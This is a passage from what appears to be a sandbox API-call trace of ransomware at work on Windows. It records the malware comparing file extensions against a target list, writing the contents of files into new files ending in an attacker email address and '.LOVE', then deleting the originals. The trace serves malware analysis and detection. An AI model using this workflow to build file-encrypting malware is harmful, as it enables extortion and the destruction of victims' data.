(lpString1=".docx", lpString2="o.xml") returned -1 [0197.733] lstrlenW (lpString=".pdf") returned 4 [0197.733] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.733] lstrlenW (lpString=".xls") returned 4 [0197.733] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.733] lstrlenW (lpString=".xlsx") returned 5 [0197.733] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0197.733] lstrlenW (lpString=".ppt") returned 4 [0197.733] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0197.733] lstrlenW (lpString=".zip") returned 4 [0197.733] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.733] lstrlenW (lpString=".rar") returned 4 [0197.733] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.733] lstrlenW (lpString=".bz2") returned 4 [0197.733] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.733] lstrlenW (lpString=".7z") returned 3 [0197.733] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0197.734] lstrlenW (lpString=".dbf") returned 4 [0197.734] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0197.734] lstrlenW (lpString=".1cd") returned 4 [0197.734] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0197.734] lstrlenW (lpString=".jpg") returned 4 [0197.734] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.734] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0197.734] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0197.734] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0197.734] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=93314) returned 1 [0197.734] CloseHandle (hObject=0x2d8) returned 1 [0197.734] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0197.734] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.735] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0197.735] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.735] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.735] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0197.735] GetLastError () returned 0x0 [0197.735] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x16c82, lpOverlapped=0x0) returned 1 [0197.761] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x16c90, lpOverlapped=0x0) returned 1 [0197.763] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.763] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xf6, lpOverlapped=0x0) returned 1 [0197.763] SetEndOfFile (hFile=0x2ec) returned 1 [0197.764] CloseHandle (hObject=0x2ec) returned 1 [0197.768] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.768] SetEndOfFile (hFile=0x2d8) returned 1 [0197.769] CloseHandle (hObject=0x2d8) returned 1 [0197.769] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0197.770] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0197.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0197.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0197.770] lstrlenW (lpString=".doc") returned 4 [0197.770] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.770] lstrlenW (lpString=".docx") returned 5 [0197.770] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0197.770] lstrlenW (lpString=".pdf") returned 4 [0197.770] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.770] lstrlenW (lpString=".xls") returned 4 [0197.770] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.770] lstrlenW (lpString=".xlsx") returned 5 [0197.770] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0197.770] lstrlenW (lpString=".ppt") returned 4 [0197.771] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0197.771] lstrlenW (lpString=".zip") returned 4 [0197.771] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.771] lstrlenW (lpString=".rar") returned 4 [0197.771] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.771] lstrlenW (lpString=".bz2") returned 4 [0197.771] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.771] lstrlenW (lpString=".7z") returned 3 [0197.771] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0197.771] lstrlenW (lpString=".dbf") returned 4 [0197.771] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0197.771] lstrlenW (lpString=".1cd") returned 4 [0197.771] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0197.771] lstrlenW (lpString=".jpg") returned 4 [0197.771] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0197.771] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0197.771] lstrlenW (lpString=".doc") returned 4 [0197.771] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0197.771] lstrlenW (lpString=".docx") returned 5 [0197.771] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0197.771] lstrlenW (lpString=".pdf") returned 4 [0197.771] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0197.771] lstrlenW (lpString=".xls") returned 4 [0197.772] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0197.772] lstrlenW (lpString=".xlsx") returned 5 [0197.772] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0197.772] lstrlenW (lpString=".ppt") returned 4 [0197.772] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0197.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0197.772] lstrlenW (lpString=".zip") returned 4 [0197.772] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0197.772] lstrlenW (lpString=".rar") returned 4 [0197.772] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0197.772] lstrlenW (lpString=".bz2") returned 4 [0197.772] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0197.772] lstrlenW (lpString=".7z") returned 3 [0197.772] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0197.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0197.772] lstrlenW (lpString=".dbf") returned 4 [0197.772] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0197.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0197.772] lstrlenW (lpString=".1cd") returned 4 [0197.772] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0197.772] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0197.772] lstrlenW (lpString=".jpg") returned 4 [0197.772] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0197.772] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0197.772] lstrlenW (lpString="ParameterInfo.xml") returned 17 [0197.772] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0197.775] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=272046) returned 1 [0197.775] CloseHandle (hObject=0x2ec) returned 1 [0197.775] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0197.775] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0197.778] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0197.778] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.778] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.778] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0197.778] GetLastError () returned 0x0 [0197.778] ReadFile (in: hFile=0x2ec, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x426ae, lpOverlapped=0x0) returned 1 [0198.003] WriteFile (in: hFile=0x2e0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x426b0, lpOverlapped=0x0) returned 1 [0198.009] ReadFile (in: hFile=0x2ec, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.009] WriteFile (in: hFile=0x2e0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xf6, lpOverlapped=0x0) returned 1 [0198.009] SetEndOfFile (hFile=0x2e0) returned 1 [0198.009] CloseHandle (hObject=0x2e0) returned 1 [0198.015] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.015] SetEndOfFile (hFile=0x2ec) returned 1 [0198.018] CloseHandle (hObject=0x2ec) returned 1 [0198.018] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0198.018] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0198.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0198.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0198.019] lstrlenW (lpString=".doc") returned 4 [0198.019] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.019] lstrlenW (lpString=".docx") returned 5 [0198.019] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0198.019] lstrlenW (lpString=".pdf") returned 4 [0198.019] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.019] lstrlenW (lpString=".xls") returned 4 [0198.019] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.019] lstrlenW (lpString=".xlsx") returned 5 [0198.019] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0198.019] lstrlenW (lpString=".ppt") returned 4 [0198.019] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0198.019] lstrlenW (lpString=".zip") returned 4 [0198.019] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.019] lstrlenW (lpString=".rar") returned 4 [0198.019] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.019] lstrlenW (lpString=".bz2") returned 4 [0198.019] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.019] lstrlenW (lpString=".7z") returned 3 [0198.019] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0198.019] lstrlenW (lpString=".dbf") returned 4 [0198.019] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0198.019] lstrlenW (lpString=".1cd") returned 4 [0198.019] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0198.019] lstrlenW (lpString=".jpg") returned 4 [0198.020] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0198.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0198.020] lstrlenW (lpString=".doc") returned 4 [0198.020] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.020] lstrlenW (lpString=".docx") returned 5 [0198.020] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0198.020] lstrlenW (lpString=".pdf") returned 4 [0198.020] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.020] lstrlenW (lpString=".xls") returned 4 [0198.020] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.020] lstrlenW (lpString=".xlsx") returned 5 [0198.020] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0198.020] lstrlenW (lpString=".ppt") returned 4 [0198.020] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0198.020] lstrlenW (lpString=".zip") returned 4 [0198.020] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.020] lstrlenW (lpString=".rar") returned 4 [0198.020] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.020] lstrlenW (lpString=".bz2") returned 4 [0198.020] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.020] lstrlenW (lpString=".7z") returned 3 [0198.020] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0198.020] lstrlenW (lpString=".dbf") returned 4 [0198.020] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0198.020] lstrlenW (lpString=".1cd") returned 4 [0198.020] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0198.021] lstrlenW (lpString=".jpg") returned 4 [0198.021] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.021] lstrcmpiW (lpString1=".p7b", lpString2=".LOVE") returned 1 [0198.021] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0198.021] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0198.045] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=4662) returned 1 [0198.045] CloseHandle (hObject=0x2ec) returned 1 [0198.045] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0198.045] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.046] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.046] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0198.046] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0198.046] lstrlenW (lpString=".doc") returned 4 [0198.046] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0198.046] lstrlenW (lpString=".docx") returned 5 [0198.046] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0198.046] lstrlenW (lpString=".pdf") returned 4 [0198.046] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0198.046] lstrlenW (lpString=".xls") returned 4 [0198.046] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0198.046] lstrlenW (lpString=".xlsx") returned 5 [0198.046] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0198.046] lstrlenW (lpString=".ppt") returned 4 [0198.046] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0198.046] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0198.046] lstrlenW (lpString=".zip") returned 4 [0198.046] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0198.046] lstrlenW (lpString=".rar") returned 4 [0198.046] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0198.046] lstrlenW (lpString=".bz2") returned 4 [0198.046] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0198.046] lstrlenW (lpString=".7z") returned 3 [0198.046] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0198.046] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0198.046] lstrlenW (lpString=".dbf") returned 4 [0198.046] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0198.047] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0198.047] lstrlenW (lpString=".1cd") returned 4 [0198.047] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0198.047] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0198.047] lstrlenW (lpString=".jpg") returned 4 [0198.047] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0198.047] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0198.047] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0198.047] lstrlenW (lpString=".doc") returned 4 [0198.047] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0198.047] lstrlenW (lpString=".docx") returned 5 [0198.047] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0198.047] lstrlenW (lpString=".pdf") returned 4 [0198.047] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0198.047] lstrlenW (lpString=".xls") returned 4 [0198.047] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0198.047] lstrlenW (lpString=".xlsx") returned 5 [0198.047] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0198.047] lstrlenW (lpString=".ppt") returned 4 [0198.047] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0198.047] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0198.047] lstrlenW (lpString=".zip") returned 4 [0198.047] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0198.047] lstrlenW (lpString=".rar") returned 4 [0198.047] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0198.047] lstrlenW (lpString=".bz2") returned 4 [0198.047] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0198.047] lstrlenW (lpString=".7z") returned 3 [0198.047] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0198.047] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0198.047] lstrlenW (lpString=".dbf") returned 4 [0198.047] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0198.047] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0198.047] lstrlenW (lpString=".1cd") returned 4 [0198.047] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0198.047] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0198.048] lstrlenW (lpString=".jpg") returned 4 [0198.048] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0198.048] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0198.048] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22 [0198.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0198.050] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=4136) returned 1 [0198.050] CloseHandle (hObject=0x318) returned 1 [0198.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0198.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0198.050] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.050] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0198.071] GetLastError () returned 0x0 [0198.071] ReadFile (in: hFile=0x318, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1028, lpOverlapped=0x0) returned 1 [0198.168] WriteFile (in: hFile=0x33c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1030, lpOverlapped=0x0) returned 1 [0198.169] ReadFile (in: hFile=0x318, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.169] WriteFile (in: hFile=0x33c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x100, lpOverlapped=0x0) returned 1 [0198.170] 